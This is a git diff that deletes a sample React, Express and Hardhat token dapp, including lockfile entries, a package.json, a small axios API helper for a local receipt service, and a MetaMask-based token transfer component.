-      "version": "1.0.5",
-      "resolved": "https://registry.npm.taobao.org/whatwg-encoding/download/whatwg-encoding-1.0.5.tgz",
-      "integrity": "sha1-WrrPd3wyFmpR0IXWtPPn0nET3bA=",
-      "requires": {
-        "iconv-lite": "0.4.24"
-      }
-    },
-    "whatwg-fetch": {
-      "version": "3.6.2",
-      "resolved": "https://registry.npm.taobao.org/whatwg-fetch/download/whatwg-fetch-3.6.2.tgz",
-      "integrity": "sha1-3O0k838mJO0CgXJdUdDi4/5nf4w="
-    },
-    "whatwg-mimetype": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/whatwg-mimetype/download/whatwg-mimetype-2.3.0.tgz",
-      "integrity": "sha1-PUseAxLSB5h5+Cav8Y2+7KWWD78="
-    },
-    "whatwg-url": {
-      "version": "8.5.0",
-      "resolved": "https://registry.npm.taobao.org/whatwg-url/download/whatwg-url-8.5.0.tgz",
-      "integrity": "sha1-d1K4Rk/AkD/siaqYRvye/gc1H9M=",
-      "requires": {
-        "lodash": "^4.7.0",
-        "tr46": "^2.0.2",
-        "webidl-conversions": "^6.1.0"
-      }
-    },
-    "which": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npm.taobao.org/which/download/which-1.3.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich%2Fdownload%2Fwhich-1.3.1.tgz",
-      "integrity": "sha1-pFBD1U9YBTFtqNYvn1CRjT2nCwo=",
-      "requires": {
-        "isexe": "^2.0.0"
-      }
-    },
-    "which-boxed-primitive": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/which-boxed-primitive/download/which-boxed-primitive-1.0.2.tgz",
-      "integrity": "sha1-E3V7yJsgmwSf5dhkMOIc9AqJqOY=",
-      "requires": {
-        "is-bigint": "^1.0.1",
-        "is-boolean-object": "^1.1.0",
-        "is-number-object": "^1.0.4",
-        "is-string": "^1.0.5",
-        "is-symbol": "^1.0.3"
-      }
-    },
-    "which-module": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/which-module/download/which-module-2.0.0.tgz?cache=0&sync_timestamp=1614792316802&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich-module%2Fdownload%2Fwhich-module-2.0.0.tgz",
-      "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho="
-    },
-    "word-wrap": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npm.taobao.org/word-wrap/download/word-wrap-1.2.3.tgz",
-      "integrity": "sha1-YQY29rH3A4kb00dxzLF/uTtHB5w="
-    },
-    "workbox-background-sync": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-background-sync/download/workbox-background-sync-5.1.4.tgz",
-      "integrity": "sha1-WuC71FX06cMZ6NgnwFW7hsiU/RI=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-broadcast-update": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-broadcast-update/download/workbox-broadcast-update-5.1.4.tgz",
-      "integrity": "sha1-DuuJFw3cp/aRT6NSP7FEYokfLPw=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-build": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-build/download/workbox-build-5.1.4.tgz",
-      "integrity": "sha1-I9F+1cMgYMNjAwyII7OdDqv0yMc=",
-      "requires": {
-        "@babel/core": "^7.8.4",
-        "@babel/preset-env": "^7.8.4",
-        "@babel/runtime": "^7.8.4",
-        "@hapi/joi": "^15.1.0",
-        "@rollup/plugin-node-resolve": "^7.1.1",
-        "@rollup/plugin-replace": "^2.3.1",
-        "@surma/rollup-plugin-off-main-thread": "^1.1.1",
-        "common-tags": "^1.8.0",
-        "fast-json-stable-stringify": "^2.1.0",
-        "fs-extra": "^8.1.0",
-        "glob": "^7.1.6",
-        "lodash.template": "^4.5.0",
-        "pretty-bytes": "^5.3.0",
-        "rollup": "^1.31.1",
-        "rollup-plugin-babel": "^4.3.3",
-        "rollup-plugin-terser": "^5.3.1",
-        "source-map": "^0.7.3",
-        "source-map-url": "^0.4.0",
-        "stringify-object": "^3.3.0",
-        "strip-comments": "^1.0.2",
-        "tempy": "^0.3.0",
-        "upath": "^1.2.0",
-        "workbox-background-sync": "^5.1.4",
-        "workbox-broadcast-update": "^5.1.4",
-        "workbox-cacheable-response": "^5.1.4",
-        "workbox-core": "^5.1.4",
-        "workbox-expiration": "^5.1.4",
-        "workbox-google-analytics": "^5.1.4",
-        "workbox-navigation-preload": "^5.1.4",
-        "workbox-precaching": "^5.1.4",
-        "workbox-range-requests": "^5.1.4",
-        "workbox-routing": "^5.1.4",
-        "workbox-strategies": "^5.1.4",
-        "workbox-streams": "^5.1.4",
-        "workbox-sw": "^5.1.4",
-        "workbox-window": "^5.1.4"
-      },
-      "dependencies": {
-        "fs-extra": {
-          "version": "8.1.0",
-          "resolved": "https://registry.nlark.com/fs-extra/download/fs-extra-8.1.0.tgz",
-          "integrity": "sha1-SdQ8RaiM2Wd2aMt74bRu/bjS4cA=",
-          "requires": {
-            "graceful-fs": "^4.2.0",
-            "jsonfile": "^4.0.0",
-            "universalify": "^0.1.0"
-          }
-        },
-        "jsonfile": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/jsonfile/download/jsonfile-4.0.0.tgz?cache=0&sync_timestamp=1604161822397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsonfile%2Fdownload%2Fjsonfile-4.0.0.tgz",
-          "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
-          "requires": {
-            "graceful-fs": "^4.1.6"
-          }
-        },
-        "source-map": {
-          "version": "0.7.3",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.7.3.tgz",
-          "integrity": "sha1-UwL4FpAxc1ImVECS5kmB91F1A4M="
-        },
-        "universalify": {
-          "version": "0.1.2",
-          "resolved": "https://registry.nlark.com/universalify/download/universalify-0.1.2.tgz",
-          "integrity": "sha1-tkb2m+OULavOzJ1mOcgNwQXvqmY="
-        }
-      }
-    },
-    "workbox-cacheable-response": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-cacheable-response/download/workbox-cacheable-response-5.1.4.tgz",
-      "integrity": "sha1-n/JuE2YhS90Fz1pD2pMFsnQHilQ=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-core": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-core/download/workbox-core-5.1.4.tgz",
-      "integrity": "sha1-i7+yNi7N/zDiXRI8gseaxl2SZPQ="
-    },
-    "workbox-expiration": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-expiration/download/workbox-expiration-5.1.4.tgz",
-      "integrity": "sha1-krXfRh6BJhFJQ6OxXFXk7LkgsWM=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-google-analytics": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-google-analytics/download/workbox-google-analytics-5.1.4.tgz",
-      "integrity": "sha1-szdoBrGsfX34QYME03lwcZX6hRc=",
-      "requires": {
-        "workbox-background-sync": "^5.1.4",
-        "workbox-core": "^5.1.4",
-        "workbox-routing": "^5.1.4",
-        "workbox-strategies": "^5.1.4"
-      }
-    },
-    "workbox-navigation-preload": {
-      "version": "5.1.4",
-      "resolved": "https://registry.nlark.com/workbox-navigation-preload/download/workbox-navigation-preload-5.1.4.tgz",
-      "integrity": "sha1-MNG3INJqBe/F+hFQPlzB7Vp4kCo=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-precaching": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-precaching/download/workbox-precaching-5.1.4.tgz",
-      "integrity": "sha1-h09+vddQ3T4EJJ766aGz9IKF/ms=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-range-requests": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-range-requests/download/workbox-range-requests-5.1.4.tgz",
-      "integrity": "sha1-cGahLBId9lv3b98rCGgBaqK6uFk=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-routing": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-routing/download/workbox-routing-5.1.4.tgz",
-      "integrity": "sha1-PozYa9O2VzSI0aLOc4XlR7VH6XA=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "workbox-strategies": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-strategies/download/workbox-strategies-5.1.4.tgz",
-      "integrity": "sha1-lrFBjM395TVGEpFJZAdNRmxS0Iw=",
-      "requires": {
-        "workbox-core": "^5.1.4",
-        "workbox-routing": "^5.1.4"
-      }
-    },
-    "workbox-streams": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-streams/download/workbox-streams-5.1.4.tgz",
-      "integrity": "sha1-BXVOXjZnvcB43yyTFbP0EhDYysA=",
-      "requires": {
-        "workbox-core": "^5.1.4",
-        "workbox-routing": "^5.1.4"
-      }
-    },
-    "workbox-sw": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-sw/download/workbox-sw-5.1.4.tgz",
-      "integrity": "sha1-K7NMn3OB+Q2EzvZEgW1FFQAR09s="
-    },
-    "workbox-webpack-plugin": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-webpack-plugin/download/workbox-webpack-plugin-5.1.4.tgz",
-      "integrity": "sha1-e/6MFuQP6e2JNwgKx66ci94B55w=",
-      "requires": {
-        "@babel/runtime": "^7.5.5",
-        "fast-json-stable-stringify": "^2.0.0",
-        "source-map-url": "^0.4.0",
-        "upath": "^1.1.2",
-        "webpack-sources": "^1.3.0",
-        "workbox-build": "^5.1.4"
-      }
-    },
-    "workbox-window": {
-      "version": "5.1.4",
-      "resolved": "https://registry.npm.taobao.org/workbox-window/download/workbox-window-5.1.4.tgz",
-      "integrity": "sha1-J0D33qf5O5kyYXmmLxzAyiyTyGM=",
-      "requires": {
-        "workbox-core": "^5.1.4"
-      }
-    },
-    "worker-farm": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npm.taobao.org/worker-farm/download/worker-farm-1.7.0.tgz",
-      "integrity": "sha1-JqlMU5G7ypJhUgAvabhKS/dy5ag=",
-      "requires": {
-        "errno": "~0.1.7"
-      }
-    },
-    "worker-rpc": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npm.taobao.org/worker-rpc/download/worker-rpc-0.1.1.tgz",
-      "integrity": "sha1-y1Zb1tcHGo8WZgaGBR6WmtMvVNU=",
-      "requires": {
-        "microevent.ts": "~0.1.1"
-      }
-    },
-    "wrap-ansi": {
-      "version": "6.2.0",
-      "resolved": "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-6.2.0.tgz",
-      "integrity": "sha1-6Tk7oHEC5skaOyIUePAlfNKFblM=",
-      "requires": {
-        "ansi-styles": "^4.0.0",
-        "string-width": "^4.1.0",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "wrappy": {
-      "version": "1.0.2",
-      "resolved": "https://registry.nlark.com/wrappy/download/wrappy-1.0.2.tgz?cache=0&sync_timestamp=1619133505879&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwrappy%2Fdownload%2Fwrappy-1.0.2.tgz",
-      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
-    },
-    "write-file-atomic": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npm.taobao.org/write-file-atomic/download/write-file-atomic-3.0.3.tgz",
-      "integrity": "sha1-Vr1cWlxwSBzRnFcb05q5ZaXeVug=",
-      "requires": {
-        "imurmurhash": "^0.1.4",
-        "is-typedarray": "^1.0.0",
-        "signal-exit": "^3.0.2",
-        "typedarray-to-buffer": "^3.1.5"
-      }
-    },
-    "ws": {
-      "version": "7.4.6",
-      "resolved": "https://registry.nlark.com/ws/download/ws-7.4.6.tgz?cache=0&sync_timestamp=1622572542898&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fws%2Fdownload%2Fws-7.4.6.tgz",
-      "integrity": "sha1-VlTKjs3u5HwzqaS/bSjivimAN3w="
-    },
-    "xml-name-validator": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/xml-name-validator/download/xml-name-validator-3.0.0.tgz",
-      "integrity": "sha1-auc+Bt5NjG5H+fsYH3jWSK1FfGo="
-    },
-    "xmlchars": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/xmlchars/download/xmlchars-2.2.0.tgz",
-      "integrity": "sha1-Bg/hvLf5x2/ioX24apvDq4lCEMs="
-    },
-    "xtend": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npm.taobao.org/xtend/download/xtend-4.0.2.tgz",
-      "integrity": "sha1-u3J3n1+kZRhrH0OPZ0+jR/2121Q="
-    },
-    "y18n": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npm.taobao.org/y18n/download/y18n-4.0.3.tgz",
-      "integrity": "sha1-tfJZyCzW4zaSHv17/Yv1YN6e7t8="
-    },
-    "yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.nlark.com/yallist/download/yallist-4.0.0.tgz",
-      "integrity": "sha1-m7knkNnA7/7GO+c1GeEaNQGaOnI="
-    },
-    "yaml": {
-      "version": "1.10.2",
-      "resolved": "https://registry.npm.taobao.org/yaml/download/yaml-1.10.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyaml%2Fdownload%2Fyaml-1.10.2.tgz",
-      "integrity": "sha1-IwHF/78StGfejaIzOkWeKeeSDks="
-    },
-    "yargs": {
-      "version": "15.4.1",
-      "resolved": "https://registry.nlark.com/yargs/download/yargs-15.4.1.tgz",
-      "integrity": "sha1-DYehbeAa7p2L7Cv7909nhRcw9Pg=",
-      "requires": {
-        "cliui": "^6.0.0",
-        "decamelize": "^1.2.0",
-        "find-up": "^4.1.0",
-        "get-caller-file": "^2.0.1",
-        "require-directory": "^2.1.1",
-        "require-main-filename": "^2.0.0",
-        "set-blocking": "^2.0.0",
-        "string-width": "^4.2.0",
-        "which-module": "^2.0.0",
-        "y18n": "^4.0.0",
-        "yargs-parser": "^18.1.2"
-      }
-    },
-    "yargs-parser": {
-      "version": "18.1.3",
-      "resolved": "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-18.1.3.tgz",
-      "integrity": "sha1-vmjEl1xrKr9GkjawyHA2L6sJp7A=",
-      "requires": {
-        "camelcase": "^5.0.0",
-        "decamelize": "^1.2.0"
-      },
-      "dependencies": {
-        "camelcase": {
-          "version": "5.3.1",
-          "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-5.3.1.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-5.3.1.tgz",
-          "integrity": "sha1-48mzFWnhBoEd8kL3FXJaH0xJQyA="
-        }
-      }
-    },
-    "yocto-queue": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npm.taobao.org/yocto-queue/download/yocto-queue-0.1.0.tgz?cache=0&sync_timestamp=1606290212047&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyocto-queue%2Fdownload%2Fyocto-queue-0.1.0.tgz",
-      "integrity": "sha1-ApTrPe4FAo0x7hpfosVWpqrxChs="
-    }
-  }
-}
diff --git a/Example11-react-express-hardhat/frontend/package.json b/Example11-react-express-hardhat/frontend/package.json
deleted file mode 100644
index a54090634..000000000
--- a/Example11-react-express-hardhat/frontend/package.json
+++ /dev/null
@@ -1,41 +0,0 @@
-{
-  "name": "frontend",
-  "version": "0.1.0",
-  "private": true,
-  "dependencies": {
-    "@testing-library/jest-dom": "^5.11.4",
-    "@testing-library/react": "^11.1.0",
-    "@testing-library/user-event": "^12.1.10",
-    "axios": "^0.21.1",
-    "bootstrap": "^5.0.1",
-    "react": "^17.0.2",
-    "react-bootstrap": "^1.6.1",
-    "react-dom": "^17.0.2",
-    "react-scripts": "4.0.3",
-    "web-vitals": "^1.0.1"
-  },
-  "scripts": {
-    "start": "react-scripts start",
-    "build": "react-scripts build",
-    "test": "react-scripts test",
-    "eject": "react-scripts eject"
-  },
-  "eslintConfig": {
-    "extends": [
-      "react-app",
-      "react-app/jest"
-    ]
-  },
-  "browserslist": {
-    "production": [
-      ">0.2%",
-      "not dead",
-      "not op_mini all"
-    ],
-    "development": [
-      "last 1 chrome version",
-      "last 1 firefox version",
-      "last 1 safari version"
-    ]
-  }
-}
diff --git a/Example11-react-express-hardhat/frontend/src/api.js b/Example11-react-express-hardhat/frontend/src/api.js
deleted file mode 100644
index 035b82856..000000000
--- a/Example11-react-express-hardhat/frontend/src/api.js
+++ /dev/null
@@ -1,31 +0,0 @@
-/* eslint-disable */
-// 小程序开发api接口工具包，https://github.com/gooking/wxapi
-var API_BASE_URL = "http://127.0.0.1:4001";
-const axios = require("axios").default;
-
-let request = (url, method, data) => {
-  const _url = API_BASE_URL + url;
-  const header = {
-    "Content-Type": "application/application/json",
-    Authorization: "Token ",
-  };
-  return new Promise((resolve, reject) => {
-    axios({
-      url: _url,
-      method: method,
-      data: data,
-      header,
-    }).then((res) => {
-      resolve(res);
-    });
-  });
-};
-
-module.exports = {
-  receipt_create: (data) => {
-    return request("/receipt/create", "post", data);
-  },
-  receipt_list: (adress) => {
-    return request("/receipt/all?from=" + adress, "get", {});
-  },
-};
diff --git a/Example11-react-express-hardhat/frontend/src/components/Dapp.js b/Example11-react-express-hardhat/frontend/src/components/Dapp.js
deleted file mode 100644
index 61fd2d721..000000000
--- a/Example11-react-express-hardhat/frontend/src/components/Dapp.js
+++ /dev/null
@@ -1,381 +0,0 @@
-import React from "react";
-
-// We'll use ethers to interact with the Ethereum network and our contract
-import { ethers } from "ethers";
-
-// We import the contract's artifacts and address here, as we are going to be
-// using them with ethers
-import TokenArtifact from "../contracts/Token.json";
-import contractAddress from "../contracts/contract-address.json";
-
-// All the logic of this dapp is contained in the Dapp component.
-// These other components are just presentational ones: they don't have any
-// logic. They just render HTML.
-import { NoWalletDetected } from "./NoWalletDetected";
-import { ConnectWallet } from "./ConnectWallet";
-import { Loading } from "./Loading";
-import { Transfer } from "./Transfer";
-import { TransactionErrorMessage } from "./TransactionErrorMessage";
-import { WaitingForTransactionMessage } from "./WaitingForTransactionMessage";
-import { NoTokensMessage } from "./NoTokensMessage";
-import { Receipt } from "./Receipt";
-const API = require("../api.js");
-
-// This is the Hardhat Network id, you might change it in the hardhat.config.js
-// Here's a list of network ids https://docs.metamask.io/guide/ethereum-provider.html#properties
-// to use when deploying to other networks.
-const HARDHAT_NETWORK_ID = "42";
-
-// This is an error code that indicates that the user canceled a transaction
-const ERROR_CODE_TX_REJECTED_BY_USER = 4001;
-
-// This component is in charge of doing these things:
-//   1. It connects to the user's wallet
-//   2. Initializes ethers and the Token contract
-//   3. Polls the user balance to keep it updated.
-//   4. Transfers tokens by sending transactions
-//   5. Renders the whole application
-//
-// Note that (3) and (4) are specific of this sample application, but they show
-// you how to keep your Dapp and contract's state in sync,  and how to send a
-// transaction.
-export class Dapp extends React.Component {
-  constructor(props) {
-    super(props);
-
-    // We store multiple things in Dapp's state.
-    // You don't need to follow this pattern, but it's an useful example.
-    this.initialState = {
-      // The info of the token (i.e. It's Name and symbol)
-      tokenData: undefined,
-      // The user's address and balance
-      selectedAddress: undefined,
-      balance: undefined,
-      // The ID about transactions being sent, and any possible error with them
-      txBeingSent: undefined,
-      transactionError: undefined,
-      networkError: undefined,
-      receipts: [],
-    };
-
-    this.state = this.initialState;
-  }
-
-  render() {
-    // Ethereum wallets inject the window.ethereum object. If it hasn't been
-    // injected, we instruct the user to install MetaMask.
-    if (window.ethereum === undefined) {
-      return <NoWalletDetected />;
-    }
-
-    // The next thing we need to do, is to ask the user to connect their wallet.
-    // When the wallet gets connected, we are going to save the users's address
-    // in the component's state. So, if it hasn't been saved yet, we have
-    // to show the ConnectWallet component.
-    //
-    // Note that we pass it a callback that is going to be called when the user
-    // clicks a button. This callback just calls the _connectWallet method.
-    if (!this.state.selectedAddress) {
-      return (
-        <ConnectWallet
-          connectWallet={() => this._connectWallet()}
-          networkError={this.state.networkError}
-          dismiss={() => this._dismissNetworkError()}
-        />
-      );
-    }
-
-    // If the token data or the user's balance hasn't loaded yet, we show
-    // a loading component.
-    if (!this.state.tokenData || !this.state.balance) {
-      return <Loading />;
-    }
-
-    // If everything is loaded, we render the application.
-    return (
-      <div className="container p-4">
-        <div className="row">
-          <div className="col-12">
-            <h1>
-              {this.state.tokenData.name} ({this.state.tokenData.symbol})
-            </h1>
-            <p>
-              Welcome <b>{this.state.selectedAddress}</b>, you have{" "}
-              <b>
-                {this.state.balance.toString()} {this.state.tokenData.symbol}
-              </b>
-              .
-            </p>
-          </div>
-        </div>
-
-        <hr />
-
-        <div className="row">
-          <div className="col-12">
-            {/*
-              Sending a transaction isn't an immidiate action. You have to wait
-              for it to be mined.
-              If we are waiting for one, we show a message here.
-            */}
-            {this.state.txBeingSent && (
-              <WaitingForTransactionMessage txHash={this.state.txBeingSent} />
-            )}
-
-            {/*
-              Sending a transaction can fail in multiple ways.
-              If that happened, we show a message here.
-            */}
-            {this.state.transactionError && (
-              <TransactionErrorMessage
-                message={this._getRpcErrorMessage(this.state.transactionError)}
-                dismiss={() => this._dismissTransactionError()}
-              />
-            )}
-          </div>
-        </div>
-
-        <div className="row">
-          <div className="col-12">
-            {/*
-              If the user has no tokens, we don't show the Tranfer form
-            */}
-            {this.state.balance.eq(0) && (
-              <NoTokensMessage selectedAddress={this.state.selectedAddress} />
-            )}
-
-            {/*
-              This component displays a form that the user can use to send a
-              transaction and transfer some tokens.
-              The component doesn't have logic, it just calls the transferTokens
-              callback.
-            */}
-            {this.state.balance.gt(0) && (
-              <>
-                <Transfer
-                  transferTokens={(to, amount) =>
-                    this._transferTokens(to, amount)
-                  }
-                  tokenSymbol={this.state.tokenData.symbol}
-                />
-                {this.state.receipts.map((receipt) => (
-                  <Receipt receipt={receipt} />
-                ))}
-              </>
-            )}
-          </div>
-        </div>
-      </div>
-    );
-  }
-
-  componentWillUnmount() {
-    // We poll the user's balance, so we have to stop doing that when Dapp
-    // gets unmounted
-    this._stopPollingData();
-  }
-
-  async _connectWallet() {
-    // This method is run when the user clicks the Connect. It connects the
-    // dapp to the user's wallet, and initializes it.
-
-    // To connect to the user's wallet, we have to run this method.
-    // It returns a promise that will resolve to the user's address.
-    const [selectedAddress] = await window.ethereum.enable();
-
-    // Once we have the address, we can initialize the application.
-
-    // First we check the network
-    if (!this._checkNetwork()) {
-      return;
-    }
-
-    this._initialize(selectedAddress);
-
-    // We reinitialize it whenever the user changes their account.
-    window.ethereum.on("accountsChanged", ([newAddress]) => {
-      this._stopPollingData();
-      // `accountsChanged` event can be triggered with an undefined newAddress.
-      // This happens when the user removes the Dapp from the "Connected
-      // list of sites allowed access to your addresses" (Metamask > Settings > Connections)
-      // To avoid errors, we reset the dapp state
-      if (newAddress === undefined) {
-        return this._resetState();
-      }
-
-      this._initialize(newAddress);
-    });
-
-    // We reset the dapp state if the network is changed
-    window.ethereum.on("networkChanged", ([networkId]) => {
-      this._stopPollingData();
-      this._resetState();
-    });
-  }
-
-  _initialize(userAddress) {
-    // This method initializes the dapp
-
-    // We first store the user's address in the component's state
-    this.setState({
-      selectedAddress: userAddress,
-    });
-
-    // Then, we initialize ethers, fetch the token's data, and start polling
-    // for the user's balance.
-
-    // Fetching the token data and the user's balance are specific to this
-    // sample project, but you can reuse the same initialization pattern.
-    this._intializeEthers();
-    this._getTokenData();
-    this._startPollingData();
-  }
-
-  async _intializeEthers() {
-    // We first initialize ethers by creating a provider using window.ethereum
-    this._provider = new ethers.providers.Web3Provider(window.ethereum);
-    // When, we initialize the contract using that provider and the token's
-    // artifact. You can do this same thing with your contracts.
-    this._token = new ethers.Contract(
-      contractAddress.Token,
-      TokenArtifact.abi,
-      this._provider.getSigner(0)
-    );
-  }
-
-  // The next to methods are needed to start and stop polling data. While
-  // the data being polled here is specific to this example, you can use this
-  // pattern to read any data from your contracts.
-  //
-  // Note that if you don't need it to update in near real time, you probably
-  // don't need to poll it. If that's the case, you can just fetch it when you
-  // initialize the app, as we do with the token data.
-  _startPollingData() {
-    this._pollDataInterval = setInterval(() => this._updateBalance(), 2000);
-
-    // We run it once immediately so we don't have to wait for it
-    this._updateBalance();
-  }
-
-  _stopPollingData() {
-    clearInterval(this._pollDataInterval);
-    this._pollDataInterval = undefined;
-  }
-
-  // The next two methods just read from the contract and store the results
-  // in the component state.
-  async _getTokenData() {
-    const name = await this._token.name();
-    const symbol = await this._token.symbol();
-
-    this.setState({ tokenData: { name, symbol } });
-  }
-
-  async _updateBalance() {
-    const balance = await this._token.balanceOf(this.state.selectedAddress);
-    this.setState({ balance });
-
-    API.receipt_list(this.state.selectedAddress).then((res) => {
-      this.setState({ receipts: res.data });
-    });
-  }
-
-  // This method sends an ethereum transaction to transfer tokens.
-  // While this action is specific to this application, it illustrates how to
-  // send a transaction.
-  async _transferTokens(to, amount) {
-    // Sending a transaction is a complex operation:
-    //   - The user can reject it
-    //   - It can fail before reaching the ethereum network (i.e. if the user
-    //     doesn't have ETH for paying for the tx's gas)
-    //   - It has to be mined, so it isn't immediately confirmed.
-    //     Note that some testing networks, like Hardhat Network, do mine
-    //     transactions immediately, but your dapp should be prepared for
-    //     other networks.
-    //   - It can fail once mined.
-    //
-    // This method handles all of those things, so keep reading to learn how to
-    // do it.
-
-    try {
-      // If a transaction fails, we save that error in the component's state.
-      // We only save one such error, so before sending a second transaction, we
-      // clear it.
-      this._dismissTransactionError();
-
-      // We send the transaction, and save its hash in the Dapp's state. This
-      // way we can indicate that we are waiting for it to be mined.
-      const tx = await this._token.transfer(to, amount);
-      this.setState({ txBeingSent: tx.hash });
-
-      // We use .wait() to wait for the transaction to be mined. This method
-      // returns the transaction's receipt.
-      const receipt = await tx.wait();
-      if (receipt.status === 0) {
-        // We can't know the exact error that make the transaction fail once it
-        // was mined, so we throw this generic one.
-        throw new Error("Transaction failed");
-      }
-
-      API.receipt_create(receipt);
-
-      // If we got here, the transaction was successful, so you may want to
-      // update your state. Here, we update the user's balance.
-      await this._updateBalance();
-    } catch (error) {
-      // We check the error code to see if this error was produced because the
-      // user rejected a tx. If that's the case, we do nothing.
-      if (error.code === ERROR_CODE_TX_REJECTED_BY_USER) {
-        return;
-      }
-
-      // Other errors are logged and stored in the Dapp's state. This is used to
-      // show them to the user, and for debugging.
-      console.error(error);
-      this.setState({ transactionError: error });
-    } finally {
-      // If we leave the try/catch, we aren't sending a tx anymore, so we clear
-      // this part of the state.
-      this.setState({ txBeingSent: undefined });
-    }
-  }
-
-  // This method just clears part of the state.
-  _dismissTransactionError() {
-    this.setState({ transactionError: undefined });
-  }
-
-  // This method just clears part of the state.
-  _dismissNetworkError() {
-    this.setState({ networkError: undefined });
-  }
-
-  // This is an utility method that turns an RPC error into a human readable
-  // message.
-  _getRpcErrorMessage(error) {
-    if (error.data) {
-      return error.data.message;
-    }
-
-    return error.message;
-  }
-
-  // This method resets the state
-  _resetState() {
-    this.setState(this.initialState);
-  }
-
-  // This method checks if Metamask selected network is Localhost:8545
-  _checkNetwork () {
-    console.log(window.ethereum.networkVersion)
-    if (window.ethereum.networkVersion === HARDHAT_NETWORK_ID) {
-      return true;
-    }
-
-    this.setState({
-      networkError: "Please connect Metamask to kovan",
-    });
-
-    return false;
-  }
-}
diff --git a/Example11-react-express-hardhat/frontend/yarn.lock b/Example11-react-express-hardhat/frontend/yarn.lock
deleted file mode 100644
index 6a614d758..000000000
--- a/Example11-react-express-hardhat/frontend/yarn.lock
+++ /dev/null
@@ -1,11521 +0,0 @@
-# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
-# yarn lockfile v1
-
-
-"@babel/code-frame@7.10.4":
-  version "7.10.4"
-  resolved "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.10.4.tgz#168da1a36e90da68ae8d49c0f1b48c7c6249213a"
-  integrity sha1-Fo2ho26Q2miujUnA8bSMfGJJITo=
-  dependencies:
-    "@babel/highlight" "^7.10.4"
-
-"@babel/code-frame@7.12.11":
-  version "7.12.11"
-  resolved "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.12.11.tgz#f4ad435aa263db935b8f10f2c552d23fb716a63f"
-  integrity sha1-9K1DWqJj25NbjxDyxVLSP7cWpj8=
-  dependencies:
-    "@babel/highlight" "^7.10.4"
-
-"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.12.13", "@babel/code-frame@^7.5.5":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.12.13.tgz#dcfc826beef65e75c50e21d3837d7d95798dd658"
-  integrity sha1-3PyCa+72XnXFDiHTg319lXmN1lg=
-  dependencies:
-    "@babel/highlight" "^7.12.13"
-
-"@babel/compat-data@^7.12.1", "@babel/compat-data@^7.13.11", "@babel/compat-data@^7.14.4":
-  version "7.14.4"
